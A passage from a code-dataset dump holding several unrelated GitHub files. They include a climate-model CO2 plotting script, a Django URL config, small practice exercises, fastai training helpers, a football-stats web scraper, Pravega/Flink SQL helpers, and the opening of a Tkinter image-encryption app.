plt\nfrom iris.experimental.equalise_cubes import *\nfrom iris.experimental.animate import*\nimport matplotlib.dates as mdates\nimport matplotlib.ticker as mtick\nfrom matplotlib import ticker\n\nimport warnings\nimport glob\nimport os \n\nimport pandas as pd\nimport scipy\n\nfrom shiftedColorMap import*\nfrom scipy import stats\n\nfrom iris.cube import Cube\n\n#Author: Maria Vittoria Guarino (mguarino@ictp.it)\n#International Centre for Theoretical Physics (ICTP)\n\n########################################### Function that compute monthly climatological means for each month in dataaset ####################################################################################\n\ndef Climatology (data_in):\n\n #compute long-term mean for each month\n month=data_in.shape[0]\n\n months=iris.cube.CubeList()\n stdev=iris.cube.CubeList()\n for i in range (0, 12):\n months.append(data_in[i:month:12].collapsed('time', iris.analysis.MEAN)) \n stdev.append(data_in[i:month:12].collapsed('time', iris.analysis.STD_DEV)) \n\n\n months=months.merge_cube()\n stdev=stdev.merge_cube()\n\n return(months, stdev)\n\n############################################### Extract selected latitudinal band or single lat (and compute zonal mean) #################################################################################################\n\ndef extract_lat_band(data_in, lat1, lat2):\n\n R=iris.Constraint(latitude=lambda lat: lat1 <= lat <= lat2) \n data_out=data_in.extract(R)\n\n #data_out=data_out.collapsed('time', iris.analysis.MEAN) \n #data_zonal=data_out.collapsed('longitude', iris.analysis.MEAN)\n\n return(data_out) #data_zonal\n\ndef extract_lat(data_in, lat_in, SH):\n\n if SH:\n R=iris.Constraint(latitude=lambda lat: lat_in-1 <= lat <= lat_in) \n else:\n R=iris.Constraint(latitude=lambda lat: lat_in <= lat <= lat_in+1) \n\n data_out=data_in.extract(R)\n\n #data_out=data_out.collapsed('time', iris.analysis.MEAN) \n #data_zonal=data_out.collapsed('longitude', iris.analysis.MEAN)\n\n return(data_out) #data_zonal\n\n############################################### Compute area weighed means #################################################################################################\n\ndef area_weighted(data_in):\n\n data_in.coord('latitude').guess_bounds()\n data_in.coord('longitude').guess_bounds()\n weights_in = iris.analysis.cartography.area_weights(data_in)\n\n weighted_mean= data_in.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, \n\t\t\t\t\tweights=weights_in)\n data_max= data_in.collapsed(['latitude', 'longitude'], iris.analysis.MAX)\n data_min= data_in.collapsed(['latitude', 'longitude'], iris.analysis.MIN)\n data_stdev= data_in.collapsed(['latitude', 'longitude'], iris.analysis.STD_DEV)\n\n return(weighted_mean, data_max, data_min, data_stdev)\n\n############################## compute area means, non spatially weighed (for satellite obs no needed) ##############################\ndef area_mean(data_in):\n\n data_in.coord('latitude').guess_bounds()\n data_in.coord('longitude').guess_bounds()\n\n data_mean= data_in.collapsed(['latitude', 'longitude'], iris.analysis.MEAN)\n data_stdev= data_in.collapsed(['latitude', 'longitude'], iris.analysis.STD_DEV)\n\n return(data_mean, data_stdev)\n\n########## Interpolate model data onto the observation vertical grid (pressure levels) ##############################\n\ndef to_pressure_obs(data_in, P_obs):\n\n #print data_in.coord('atmosphere_hybrid_sigma_pressure_coordinate')\n #print data_in.coord('vertical pressure')\n ref_p = [('vertical pressure', P_obs.data*100)] #convert obs from hPa to Pa\n interp_cube = data_in.interpolate(ref_p, iris.analysis.Linear(extrapolation_mode='mask'))\n\n return(interp_cube)\n\n############### Plot vertical profiles ################################################################################################################\n\ndef plot_vertical_profile_obs_latband(data_in, data_ctrl, data_obs, P_obs, lat1, lat2, month, color1, color2, xlabel, label1, label2, title): \n\n #extract latitudinal band for specified month\n data_ctrl=extract_lat_band(data_ctrl[month-1], lat1, lat2)\n data_in=extract_lat_band(data_in[month-1], lat1, lat2)\n\n\n #compute area weighted mean, stdev and max and min for each lat bands:\n data_ctrl, data_ctrl_max, data_ctrl_min, data_ctrl_stdev =area_weighted(data_ctrl)\n data_in, data_in_max, data_in_min, data_in_stdev=area_weighted(data_in)\n\n #do as above but for obs\n data_obs=extract_lat_band(data_obs[month-1,:,:,58:], lat1, lat2) #use only obs from about 70 km\n P_obs=extract_lat_band(P_obs[month-1,:,:,58:], lat1, lat2)\n data_obs, data_obs_stdev=area_mean(data_obs)\n P_obs, P_obs_stdev=area_mean(P_obs)\n\n #plot data\n data_in=data_in[:20] #use only levels from about 0 to 2 hPa (here hybrid coord is pure pressure)\n data_in_stdev=data_in_stdev[:20]\n data_ctrl=data_ctrl[:20]\n data_ctrl_stdev=data_ctrl_stdev[:20] \n \n p_lev=(data_in[:20].coord('vertical pressure').points)/100\n\n fig=plt.figure(tight_layout=True, figsize=(5, 6))\n ax=plt.gca()\n plt.plot(data_in.data, p_lev , c=color1, linewidth=4, linestyle='-', alpha=0.8, label=label1)\n plt.fill_betweenx(p_lev, data_in.data+(data_in_stdev.data)*2, data_in.data-(data_in_stdev.data)*2, alpha=0.3, facecolor=color1)\n\n p_lev=(data_ctrl[:20].coord('vertical pressure').points)/100\n plt.plot(data_ctrl.data, p_lev , c=color2, linewidth=4, linestyle='-', alpha=0.8, label=label2)\n plt.fill_betweenx( p_lev, data_ctrl.data+(data_ctrl_stdev.data)*2, data_ctrl.data-(data_ctrl_stdev.data)*2, alpha=0.3, facecolor=color2)\n\n plt.plot(data_obs.data, P_obs.data, '-o', c='black', linewidth=1, alpha=0.8, label='MIPAS')\n plt.fill_betweenx(P_obs.data, data_obs.data+(data_obs_stdev.data)*2, data_obs.data-(data_obs_stdev.data)*2, alpha=0.5, facecolor='black')\n\n ax.set_yscale('log')\n ax.invert_yaxis()\n plt.ylim(10E-3, 10E-5)\n plt.xlabel(xlabel, fontsize=14)\n plt.ylabel('Pressure (hPa)', fontsize=14)\n plt.title(title, fontsize=16)\n plt.legend()\n plt.grid()\n\n return()\n\n############################################################### #Load datasets and call functions ######################################################\n\n####### Plot CO2 within lat bands ############################################################\nfile_path_hist_ctrl='/path_to_data/CTRL_HIST_monthlyclim_20082011_CO2TZ3_monthly.nc'\nfile_path_hist_Kdyn='/path_to_data/Kdyn_HIST_monthlyclim_20082011_CO2TZ3_monthly.nc'\n\nfile_path_MIPAS_CO2='/path_to_data/MIPAS_CO2_20082011_661_monthly_p.nc'\n\n\nCO2_ctrl=iris.load_cube(file_path_hist_ctrl, 'CO2')\nCO2=iris.load_cube(file_path_hist_Kdyn, 'CO2')\n\nCO2_MIPAS=iris.load_cube(file_path_MIPAS_CO2, 'CO2')\nP_MIPAS=iris.load_cube(file_path_MIPAS_CO2, 'pressure')\n\n#compute mean (and stdev) and return climatology\nCO2, CO2_stdev=Climatology(CO2)\nCO2_ctrl, CO2_ctrl_stdev=Climatology(CO2_ctrl)\nCO2_MIPAS, CO2_MIPAS_stdev=Climatology(CO2_MIPAS)\nP_MIPAS, P_MIPAS_stdev=Climatology(P_MIPAS)\n\n\nsave_fig=False\n\n#June NH\nmonth=6 \nlat1=-30\nlat2=30\nplot_vertical_profile_obs_latband(CO2*1E6, CO2_ctrl*1E6, CO2_MIPAS, P_MIPAS, lat1, lat2, month, 'blue', 'red', 'ppm', 'K_DYN', 'CTRL', title='CO2 month:{month}, Lat: [{lat1}, {lat2}]'.format(month=month, lat1=lat1, lat2=lat2))\nif save_fig:\n plt.savefig('CO2_latband_{lat1}S{lat2}N_month_{month}_p.jpg'.format(lat1=abs(lat1), lat2=lat2, month=month))\n\nlat1=30\nlat2=60\nplot_vertical_profile_obs_latband(CO2*1E6, CO2_ctrl*1E6, CO2_MIPAS, P_MIPAS, lat1, lat2, month, 'blue', 'red', 'ppm', 'K_DYN', 'CTRL', title='CO2 month:{month}, Lat: [{lat1}, {lat2}]'.format(month=month, lat1=lat1, lat2=lat2))\nif save_fig:\n plt.savefig('CO2_latband_{lat1}N{lat2}N_month_{month}_p.jpg'.format(lat1=lat1, lat2=lat2, month=month))\n\nlat1=60\nlat2=90\nplot_vertical_profile_obs_latband(CO2*1E6, CO2_ctrl*1E6, CO2_MIPAS, P_MIPAS, lat1, lat2, month, 'blue', 'red', 'ppm', 'K_DYN', 'CTRL', title='CO2 month:{month}, Lat: [{lat1}, {lat2}]'.format(month=month, lat1=lat1, lat2=lat2))\nif save_fig:\n plt.savefig('CO2_latband_{lat1}N{lat2}N_month_{month}_p.jpg'.format(lat1=lat1, lat2=lat2, month=month))\n\nplt.show()\n\n\n\n","repo_name":"MariaVike/Guarino_etal_2023_JAMES","sub_path":"python_scripts/CO2_MIPAS_model_vprofiles.py","file_name":"CO2_MIPAS_model_vprofiles.py","file_ext":"py","file_size_in_byte":8242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25710587207","text":"from django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('',views.home, name='index'),\n path('company/login', views.login_page_company, name='company/login'),\n path('company/signup', views.signup_company, name='company/signup'),\n path('supplier/login', views.login_page_supplier, name='supplier/login'),\n path('supplier/signup', views.signup_supplier, name='supplier/signup'),\n path('logout', views.logout, name='logout'),\n path('categories', views.categories, name='categories'),\n path('manage_user', views.manage_user, name='manage_user'),\n path('product_view', views.product_view, name='product_view'),\n path('retailer_dashboard', views.retailer_dashboard, name='retailer_dashboard'),\n path('wholesaler_dashboard', views.wholesaler_dashboard, name='wholesaler_dashboard'),\n path('add_product', views.add_product, name='add_product'),\n] + static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT)\n","repo_name":"OmarAlanizi/Wafrah","sub_path":"wafrah/wafrahapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"70109089651","text":"def same_frequency(num1, num2):\n \"\"\"Do these nums have same frequencies of digits?\n \n >>> same_frequency(551122, 221515)\n True\n \n >>> same_frequency(321142, 3212215)\n False\n \n >>> same_frequency(1212, 2211)\n True\n \"\"\"\n\n l1 = list(str(num1))\n l2 = list(str(num2))\n count1 = {}\n count2 = {}\n\n for digit in l1 :\n count1[digit] = count1.get(digit, 0) + 1\n for digit in l2 :\n count2[digit] = count2.get(digit, 0) + 1\n\n return count1 == count2\n\n # A def could DRY this out ","repo_name":"dmcconeghy/dmcconeghy.github.io","sub_path":"python/python-ds-practice/34_same_frequency/same_frequency.py","file_name":"same_frequency.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25196993757","text":"#DecafMegalodon\r\n#Advent of code day 01 a submission\r\n\r\ndef read_input(filename=\"./inputs/day01.txt\"):\r\n file = open(filename, \"r\")\r\n input = file.readlines()\r\n file.close()\r\n input = [int(i) for i in input]\r\n return input\r\n\r\ndef count_deeper(input):\r\n current_depth = float('inf') # set our initial depth to infinity so the first measurement is always less\r\n deeper_count = 0\r\n for new_depth in input:\r\n if new_depth > current_depth:\r\n deeper_count += 1\r\n current_depth = new_depth\r\n return deeper_count\r\n \r\nif __name__ == \"__main__\":\r\n input = read_input()\r\n print(count_deeper(input))","repo_name":"DecafMegalodon/AOC2021Python","sub_path":"day01a.py","file_name":"day01a.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"36264718992","text":"\nfrom fastai.text import *\nfrom utils import get_text_representation, _model_meta\n\ndef train_lm():\n learner = language_model_learner(data_lm, AWD_LSTM)\n learner.fit_one_cycle(1, 1e-2)\n learner.save('best_lm')\n learner.save_encoder('best_enc')\n # learner.show_results()\n return learner\n\ndef train_clf():\n text_classifier = get_text_classifier(AWD_LSTM, len(data_lm.vocab.itos), data_clas.c, bptt=70, max_len=70*20,\n config=None, drop_mult=.3, lin_ftrs=None, ps=None)\n learner = RNNLearner(data_clas, text_classifier, split_func=_model_meta[AWD_LSTM]['split_clas'])\n learner.load_encoder('best_enc')\n # learner.fit_one_cycle(1, slice(1e-3, 1e-2))\n # learner.save('mini_train_clas')\n # learner.load('mini_train_clas')\n # learner.show_results()\n\n # learner.unfreeze()\n\n # learn.freeze_to(-2)\n # learn.fit_one_cycle(1, slice(5e-3/2., 5e-3))\n\n # learn.unfreeze()\n # learn.fit_one_cycle(1, slice(2e-3/100, 2e-3))\n return learner","repo_name":"mghmgh1281375/ULMFIT","sub_path":"train_utils.py","file_name":"train_utils.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"43097579832","text":"import pandas as pd\nimport csv\n\nwith open('air_data_stations.csv', newline='') as f:\n reader = csv.DictReader(f)\n for row in reader:\n df = pd.date_range(start='2017-01-01 23:00:00', freq='D', periods=365)\n dates = df.to_native_types()\n with open('2017_'+ row['id'] + '.csv','w+', newline='') as f:\n fieldNames = ['datetime', 'id', 'name', 'longitude', 'latitude', 'live', 'cityid', 'stateid']\n writer = csv.DictWriter(f, fieldnames=fieldNames)\n writer.writeheader()\n for date in dates:\n day = date[:10] + 'T' + date[11:] + 'Z'\n writer.writerow({'datetime' : day, 'id' : row['id'] , 'name' : row['name'], 'longitude' : row['longitude'], 'latitude': row['latitude'], 'live': row['live'], 'cityid': row['cityID'], 'stateid': row['stateID']})\n\n ","repo_name":"rabhar/Air_pollution_dataset","sub_path":"stations_seperator.py","file_name":"stations_seperator.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"971999608","text":"# Problem\n# Create a function that returns the factorial of any positive input number\n# Helpful tip: Try to solve the problem comfortably in code before trying it recursively!\n# Factorial is:\n\n# 4! ==> 4 x 3 x 2 x 1\n\n# Step 1: Restate question\n# Step 2: Ask Clarifying Questions\n# Step 3: Write out action plan\n# Step 4: Write out code\n\n\n# action plan:\n # write code\n # code go brr\n\ndef factorial(n):\n if n == 0:\n return 1\n elif n < 0:\n return \"Please input a positive number\"\n return n * factorial(n - 1)\n\nnum_input = int(input(\"Enter a number: \"))\nprint(factorial(num_input))\n\n# could add something like this for edge cases\n\n# while True:\n# try:\n# num_input = int(input(\"Enter a number: \"))\n# break\n# except ValueError:\n# print(\"Invalid input. Please enter an integer.\")\n\n","repo_name":"Andrew32A/ACS-2951-leetcode-problems","sub_path":"factorial-recursion.py","file_name":"factorial-recursion.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"36774866645","text":"import requests\nfrom bs4 import BeautifulSoup as BS\nimport pandas as pd\n\nr = requests.get(\"https://soccer365.ru/competitions/13/\")\nhtml = BS(r.content, 'html.parser')\nGroups = html.findAll('table', class_='comp_table_v2')\nPlayers = {1: {'Роль': [], 'Команда': [], 'ФИ': [], \"Голы\": [],\n \"Пенальти\": [],\"Матчи\": []},\n\n 2: {'Роль': [], 'Команда': [],\n 'ФИ': [], \"Пасы\": [],\n \"Матчи\": []},\n\n 3: {'Роль': [], 'Команда': [], 'ФИ': [], \"Матчи\": [],\n \"Штрафные\": [], \"FairPlay\": [],\n \"Желтые карточки\": [],\n \"2ЖК\": [], \"Красные карточки\": []}}\nCommand = {'Команда': [], 'Очки': [], \"Голы\": []}\nFullTeam = {'Команда': [], 'Игроки': [], 'Матчи': []}\nCommand_Parse = html.find('table', class_='stngs')\nTeamArray = []\nPoints_Array = []\n\nFullTeamArrayTeam = []\nFullTeamArrayMatch = []\nFullTeamArrayName = []\n\nfor elem in Command_Parse.select('tbody > tr'):\n Team = elem.find_all('td')\n TeamArray.append(Team[1].text)\n Command[\"Команда\"] = TeamArray\n\n Point = elem.find_all('td')\n Points_Array.append(Point[-1].text.replace(u'\\n', u''))\n Command[\"Очки\"] = Points_Array\nfor data in Groups:\n Title = data.find('th', class_='title')\n Title = Title.text.replace(u'\\xa0', u'')\n if Title == \"Бомбардиры\":\n TitleArray = []\n TeamArray = []\n NameArray = []\n GoalsArray = []\n PenaltyArray = []\n MatchArray = []\n for elem in data.select('tbody > tr'):\n Teams = elem.find('td').find('img')['title']\n FullTeamArrayTeam.append(Teams)\n FullTeam[\"Команда\"] = FullTeamArrayTeam\n Matchs = elem.find_all('td', class_='bkcenter')[2].text.replace(u'\\xa0', u'')\n FullTeamArrayMatch.append(Matchs)\n FullTeam[\"Матчи\"] = FullTeamArrayMatch\n Names = elem.find('td').find('span').find('a').text\n FullTeamArrayName.append(Names)\n FullTeam[\"Игроки\"] = FullTeamArrayName\n\n TitleArray.append(Title)\n Players[1][\"Роль\"] = TitleArray\n\n Team = elem.find('td').find('img')['title']\n TeamArray.append(Team)\n Players[1][\"Команда\"] = TeamArray\n\n Name = elem.find('td').find('span').find('a').text\n NameArray.append(Name)\n Players[1][\"ФИ\"] = NameArray\n\n Goals = elem.find_all('td', class_='bkcenter')[0].text.replace(u'\\xa0', u'')\n GoalsArray.append(Goals)\n Players[1][\"Голы\"] = GoalsArray\n\n Penalty = elem.find_all('td', class_='bkcenter')[1].text.replace(u'\\xa0', u'')\n PenaltyArray.append(Penalty)\n Players[1][\"Пенальти\"] = PenaltyArray\n\n Match = elem.find_all('td', class_='bkcenter')[2].text.replace(u'\\xa0', u'')\n MatchArray.append(Match)\n Players[1][\"Матчи\"] = MatchArray\n if Title == \"Ассистенты\":\n TitleArray = []\n TeamArray = []\n NameArray = []\n PasArray = []\n MatchArray = []\n for elem in data.select('tbody > tr'):\n Teams = elem.find('td').find('img')['title']\n FullTeamArrayTeam.append(Teams)\n FullTeam[\"Команда\"] = FullTeamArrayTeam\n Matchs = elem.find_all('td', class_='bkcenter')[-1].text.replace(u'\\xa0', u'')\n FullTeamArrayMatch.append(Matchs)\n FullTeam[\"Матчи\"] = FullTeamArrayMatch\n Names = elem.find('td').find('span').find('a').text\n FullTeamArrayName.append(Names)\n FullTeam[\"Игроки\"] = FullTeamArrayName\n\n TitleArray.append(Title)\n Players[2][\"Роль\"] = TitleArray\n\n Team = elem.find('td').find('img')['title']\n TeamArray.append(Team)\n Players[2][\"Команда\"] = TeamArray\n\n Name = elem.find('td').find('span').find('a').text\n NameArray.append(Name)\n Players[2][\"ФИ\"] = NameArray\n\n Pas = elem.find('td', class_='bkcenter').find('b').text\n PasArray.append(Pas)\n Players[2][\"Пасы\"] = PasArray\n\n Match = elem.find_all('td', class_='bkcenter')[1].text.replace(u'\\xa0', u'')\n MatchArray.append(Match)\n Players[2][\"Матчи\"] = MatchArray\n if Title == \"Штрафники\":\n TitleArray = []\n TeamArray = []\n NameArray = []\n FairPlay = []\n MatchArray = []\n FairPlayArray = []\n PenaltiesArray = []\n YellowCardArray = []\n YellowRedCardArray = []\n RedCardArray = []\n for elem in data.select('tbody > tr'):\n Teams = elem.find('td').find('img')['title']\n FullTeamArrayTeam.append(Teams)\n FullTeam[\"Команда\"] = FullTeamArrayTeam\n Matchs = elem.find_all('td', class_='bkcenter')[-1].text.replace(u'\\xa0', u'')\n FullTeamArrayMatch.append(Matchs)\n FullTeam[\"Матчи\"] = FullTeamArrayMatch\n Names = elem.find('td').find('span').find('a').text\n FullTeamArrayName.append(Names)\n FullTeam[\"Игроки\"] = FullTeamArrayName\n\n TitleArray.append(Title)\n Players[3][\"Роль\"] = TitleArray\n\n Team = elem.find('td').find('img')['title']\n TeamArray.append(Team)\n Players[3][\"Команда\"] = TeamArray\n\n Name = elem.find('td').find('span').find('a').text\n NameArray.append(Name)\n Players[3][\"ФИ\"] = NameArray\n\n Match = elem.find_all('td', class_='bkcenter')[4].text.replace(u'\\xa0', u'')\n MatchArray.append(Match)\n Players[3][\"Матчи\"] = MatchArray\n\n Penalties = elem.find_all('td', class_='bkcenter')[3].text.replace(u'\\xa0', u'0')\n PenaltiesArray.append(Penalties)\n Players[3][\"Штрафные\"] = PenaltiesArray\n\n FairPlay = elem.find_all('td', class_='bkcenter')[0].text.replace(u'\\xa0', u'')\n FairPlayArray.append(FairPlay)\n Players[3][\"FairPlay\"] = FairPlay\n\n YellowCard = elem.find_all('td', class_='bkcenter')[1].text\n YellowCardArray.append(YellowCard)\n Players[3][\"Желтые карточки\"] = YellowCardArray\n\n YellowRedCard = elem.find_all('td', class_='bkcenter')[2].text.replace(u'\\xa0', u'')\n YellowRedCardArray.append(YellowRedCard)\n Players[3][\"2ЖК\"] = YellowRedCardArray\n\n RedCard = elem.find_all('td', class_='bkcenter')[3].text.replace(u'\\xa0', u'')\n RedCardArray.append(RedCard)\n Players[3][\"Красные карточки\"] = RedCardArray\n\n# Подсчет корреляции\ndef CorGoals_Points():\n TeamArray_last = []\n PointsArray_last = []\n echo = pd.DataFrame(Players[1])\n echo[\"Голы\"] = pd.to_numeric(echo[\"Голы\"])\n echo_group = echo.groupby('Команда', as_index=False)[\"Голы\"].sum()\n est = echo_group.sort_values(\"Голы\", ascending=False)\n for i, val in enumerate(Command['Команда']):\n for j, vals in enumerate(echo_group['Команда']):\n if Command['Команда'][i] == echo_group['Команда'][j]:\n TeamArray_last.append(Command['Команда'][i])\n PointsArray_last.append(Command['Очки'][i])\n Command[\"Команда\"] = TeamArray_last\n Command[\"Очки\"] = PointsArray_last\n Command[\"Голы\"] = est[\"Голы\"].values\n Command[\"Очки\"] = pd.to_numeric(Command[\"Очки\"])\n Command[\"Голы\"] = pd.to_numeric(Command[\"Голы\"])\n df = pd.DataFrame(Command)\n print(\"Корреляция: \" + str(df.corr().loc['Голы', 'Очки']))\n\n# Игроки, которые отыграли не все матчи своей команды\ndef NotAllGame(echo):\n echo_max = echo.groupby('Команда', as_index=False)['Матчи'].max()\n dict_echo_max = echo_max.to_dict()\n print(\"Список игроков, которые участвовали не во всех играх своей команды.\\n\")\n for i, val in enumerate(echo['Команда']):\n for j, vals in enumerate(dict_echo_max['Команда']):\n if echo['Команда'][i] == dict_echo_max['Команда'][j] and echo['Матчи'][i] < dict_echo_max['Матчи'][j]:\n print(str(echo['Игроки'][i]) + \" / \" + str(echo['Команда'][i]) + \" / \" + str(echo['Матчи'][i]))\n\n# Вывод команд по желтым карточкам или голам\ndef Group(echo, name):\n echo[name] = pd.to_numeric(echo[name])\n echo_group = echo.groupby('Команда', as_index=False)[name].sum()\n est = echo_group.sort_values(name, ascending=False).head(3)\n print(est)\n\n# Процент голы пенальти\ndef GoalsProcent(echo):\n Array_Team = {\"Команда\": [], \"Процент\": [], }\n echo[\"Голы\"] = pd.to_numeric(echo['Голы'])\n echo[\"Пенальти\"] = pd.to_numeric(echo['Пенальти'])\n echo_group = echo.groupby('Команда', as_index=False)[['Голы', 'Пенальти']].sum()\n dict_echo_ = echo_group.to_dict()\n for i, val in enumerate(dict_echo_['Команда']):\n Array_Team[\"Команда\"].append(dict_echo_['Команда'][i])\n if dict_echo_['Пенальти'][i] == 0:\n Procent = 0\n Array_Team[\"Процент\"].append(str(round(Procent, 1)))\n else:\n Procent = (dict_echo_['Пенальти'][i] / dict_echo_['Голы'][i]) * 100\n Array_Team[\"Процент\"].append(str(round(Procent, 1)))\n TeamProcent = pd.DataFrame(Array_Team)\n print(\"Доля пенальти по отношению к числу голов для каждой команды.\")\n print(TeamProcent)\n\n# Вывод таблицы и значений\ndef echoDataFrame(keys):\n echo = pd.DataFrame(Players[keys])\n AllteamDf = pd.DataFrame(FullTeam)\n print(echo)\n print(\"\\n\")\n if keys == 1:\n print(\"Первая тройка команд по числу забитых голов с выводом их числа.\")\n Group(echo, \"Голы\")\n print(\"\\n\")\n NotAllGame(AllteamDf)\n print(\"\\n\")\n GoalsProcent(echo)\n print(\"\\n\")\n if keys == 3:\n print(\"Первая тройка команд по числу желтых карточек.\")\n Group(echo, \"Желтые карточки\")\n print(\"\\n\")\n\nwhile True:\n try:\n print(\"Выберите чтол хотите посмотреть: \\n 1. Бомбардиры \\n 2. Ассистенты \\n 3. Штрафники \\n 4.Корреляция\")\n key = int(input(\"Введите цифру ----> \"))\n if key != 4:\n echoDataFrame(key)\n else:\n CorGoals_Points()\n break\n except ValueError:\n print(\"Ой! Это некорректное число. Попробуйте ещё раз...\")\n\n\n\n\n\n\n\n","repo_name":"Unaccommodating/lab","sub_path":"python/lab5/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11284,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"7785769604","text":"file_input = \"2019-05-21 Yandex ML 2019/Task A/input.txt\"\nfile_output = \"2019-05-21 Yandex ML 2019/Task A/output.txt\"\nfile_input = \"input.txt\"\nfile_output = \"output.txt\"\n\nwith open(file_input, \"r\") as fr, open(file_output, \"w\") as fw:\n input_lines = fr.readlines()\n n, m = map(int, input_lines[0].strip().split())\n \n # Первое значение всегда идет в output\n prev = int(input_lines[1])\n fw.write(\"0 \")\n\n # В очереди может храниться только одно значение, но много разных индексов\n from collections import deque\n q_value = 0\n q = deque()\n \n # Просмотр файла с третьей строки\n for i in range(1,n):\n b = int(input_lines[i+1])\n\n # Можно ли текущее значение сразу в вывод?\n if b != prev:\n fw.write(\"{0} \".format(i))\n prev = b\n # Сразу проверим, нельзя ли из очереди вывести значение\n if len(q) > 0 and q_value != b:\n fw.write(\"{0} \".format(q.popleft()))\n prev = q_value\n else:\n # Накапливаем в памяти текущее значение\n # Если очередь пустая, создаем ее\n if len(q) == 0:\n q_value = b\n q.append(i)\n else: # Иначе дописываем в конец запомненный индекс\n q.append(i)","repo_name":"fisher85/topcoder","sub_path":"2019-05-21 Yandex ML 2019/Task A/task_A_recommendation.py","file_name":"task_A_recommendation.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"70062917169","text":"import argparse\n\nDEFAULT_SCOPE = 'taxi'\nDEFAULT_STREAM = 'trip'\nDEFAULT_CONTROLLER_URI = \"127.0.0.1:9090\"\nDEFAULT_POPULAR_DEST_THRESHOLD = 20\n\n\nclass Arguments():\n scope: str\n stream: str\n controller_uri: str\n threshold: int\n\n\ndef get_arguments() -> Arguments:\n parser = argparse.ArgumentParser(description='Change the pravega properties.')\n parser.add_argument('--scope', default=DEFAULT_SCOPE, type=str, nargs='?')\n parser.add_argument('--stream',\n default=DEFAULT_STREAM,\n type=str,\n nargs='?')\n parser.add_argument('--controller-uri',\n default=DEFAULT_CONTROLLER_URI,\n type=str,\n nargs='?')\n parser.add_argument('--threshold',\n default=DEFAULT_POPULAR_DEST_THRESHOLD,\n type=int,\n nargs='?')\n args = Arguments()\n parser.parse_known_args(namespace=args)\n return args\n\n\nargs = get_arguments()\n\n\ndef create_table_ddl(watermark_ddl: str) -> str:\n return f\"\"\"CREATE TABLE TaxiRide (\n rideId INT,\n vendorId INT,\n pickupTime TIMESTAMP(3),\n dropOffTime TIMESTAMP(3),\n passengerCount INT,\n tripDistance FLOAT,\n startLocationId INT,\n destLocationId INT,\n startLocationBorough STRING,\n startLocationZone STRING,\n startLocationServiceZone STRING,\n destLocationBorough STRING,\n destLocationZone STRING,\n destLocationServiceZone STRING,\n {watermark_ddl}\n) with (\n 'connector' = 'pravega',\n 'controller-uri' = 'tcp://{args.controller_uri}',\n 'scope' = '{args.scope}',\n 'scan.execution.type' = 'streaming',\n 'scan.streams' = '{args.stream}',\n 'format' = 'json'\n)\"\"\"\n","repo_name":"pravega/pravega-samples","sub_path":"scenarios/pravega-flink-connector-sql-samples/src/main/python/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"20"} +{"seq_id":"42318397126","text":"from tkinter import *\nfrom tkinter import messagebox as msgbox\nfrom tkinter import filedialog as fd\nfrom webbrowser import open as display_img\nimport PIL\nfrom PIL import Image,ImageTk\nimport imgxor\nimport utils\nimport os\n\nBACKGROUND = \"#191919\"\nSECONDARY_BG = \"#2d2d2d\"\nSELECTION_COLOR = \"#3a3a3a\"\nSELECTION_BLACK = \"black\"\nWHITE = 'white'\nbullet_char = \"\\u2022\"\ndfont = \"Segoe UI\"\n\nclass ImageEncryptor(Tk):\n def __init__(self,geometry,icon):\n Tk.__init__(self)\n self.geometry(geometry)\n self._icon = icon\n self.iconbitmap(icon)\n self.key_length = 30\n self.disp_img_height = 25\n self.disp_img_width = 85\n self.horizontal_max_pix = 570\n self.vertical_max_pix = 450\n self.selimg_temp_path = os.path.join(os.getcwd(), \"ImageEncryptor_tempfile_sel_img_preview.png\")\n self.resimg_temp_path = os.path.join(os.getcwd(), \"ImageEncryptor_tempfile_res_img_preview.png\")\n self.title(\"Image Encryptor - App by Syed Usama\")\n self.resizable(False,False)\n self.configure(background=BACKGROUND)\n\n # Variables\n self._sel_img = None\n self._res_img = None\n self._r_op = \"resultant\"\n self.sp_var = StringVar()\n self.rp_var = StringVar()\n\n # Creating main Frames\n self.topFrame = Frame(master=self,background=BACKGROUND)\n self.topFrame.pack(fill=BOTH)\n self.bottomFrame = Frame(master=self,background=BACKGROUND)\n self.bottomFrame.pack(fill=BOTH,padx=260,pady=10)\n\n # Top Frame and widgets\n self.leftFrame = Frame(master=self.topFrame,background=BACKGROUND)\n self.leftFrame.pack(side=LEFT,padx=5,anchor=W)\n self.rightFrame = Frame(master=self.topFrame,background=BACKGROUND)\n self.rightFrame.pack(side=RIGHT,padx=5,anchor=E)\n\n self.slabel = Label(master=self.leftFrame,text=\"Selected Image\",font=(dfont,14,'bold'),width=30,height=1,background=BACKGROUND,foreground=WHITE)\n self.slabel.pack()\n self.simage_label = Label(master=self.leftFrame, text=\"Selected image will appear here\", width=self.disp_img_width, height=self.disp_img_height, background=SECONDARY_BG, foreground=WHITE)\n self.simage_label.pack()\n self.spath = Entry(master=self.leftFrame,background=BACKGROUND,textvariable=self.sp_var,foreground=WHITE,font=(dfont,8),state='readonly',readonlybackground=BACKGROUND,width=90,\n selectbackground=SELECTION_COLOR,borderwidth=0,justify=CENTER)\n 